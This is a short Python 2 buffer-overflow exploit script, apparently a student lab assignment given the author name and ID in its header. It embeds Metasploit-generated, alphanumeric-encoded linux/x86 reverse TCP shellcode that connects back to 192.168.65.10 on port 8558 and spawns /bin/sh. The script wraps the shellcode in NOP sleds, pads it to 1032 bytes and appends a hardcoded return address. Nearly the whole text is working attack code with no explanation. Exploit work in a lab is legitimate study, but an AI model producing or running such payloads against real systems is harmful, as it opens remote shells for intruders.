# Author: Priyanka Saha
# KUID: 2914721
# linux/x86/shell_reverse_tcp - 205 bytes 
# http://www.metasploit.com 
# Encoder: x86/alpha_upper
# VERBOSE=false, LHOST=192.168.65.10, LPORT=8558, 
# ReverseAllowProxy=false, ReverseConnectRetries=5, 
# ReverseListenerThreaded=false, PrependFork=false, 
# PrependSetresuid=false, PrependSetreuid=false, 
# PrependSetuid=false, PrependSetresgid=false, 
# PrependSetregid=false, PrependSetgid=false, 
# PrependChrootBreak=false, AppendExit=false, 
# InitialAutoRunScript=, AutoRunScript=, CMD=/bin/sh

#!/usr/bin/python

buf =  ""
buf += "\x89\xe7\xda\xd7\xd9\x77\xf4\x5e\x56\x59\x49\x49\x49"
buf += "\x49\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33"
buf += "\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41"
buf += "\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41"
buf += "\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a"
buf += "\x4a\x49\x30\x31\x39\x4b\x5a\x57\x4d\x33\x51\x43\x57"
buf += "\x33\x51\x43\x32\x4a\x54\x42\x4d\x59\x4d\x31\x4e\x50"
buf += "\x32\x46\x48\x4d\x4d\x50\x4d\x43\x56\x39\x4e\x50\x57"
buf += "\x4f\x58\x4d\x4b\x30\x30\x49\x34\x39\x4b\x49\x43\x58"
buf += "\x4f\x30\x4f\x58\x51\x51\x55\x5a\x53\x58\x35\x52\x45"
buf += "\x50\x51\x31\x52\x4e\x4d\x59\x4d\x31\x38\x30\x35\x36"
buf += "\x36\x30\x36\x31\x30\x53\x4e\x53\x53\x33\x4d\x59\x4b"
buf += "\x51\x48\x4d\x4d\x50\x30\x52\x33\x58\x32\x4e\x36\x4f"
buf += "\x53\x43\x33\x58\x45\x38\x56\x4f\x46\x4f\x42\x42\x45"
buf += "\x39\x4d\x59\x5a\x43\x46\x32\x51\x43\x4d\x59\x4b\x51"
buf += "\x58\x30\x54\x4b\x48\x4d\x4b\x30\x41\x41"

nopsled = "\x90" * 800
remaining = 1032 - len(buf) - len(nopsled)
nopsled2 = remaining * "\x90"

eip = "\x20\xf8\xff\xbf"
print nopsled + buf + nopsled2 + eip
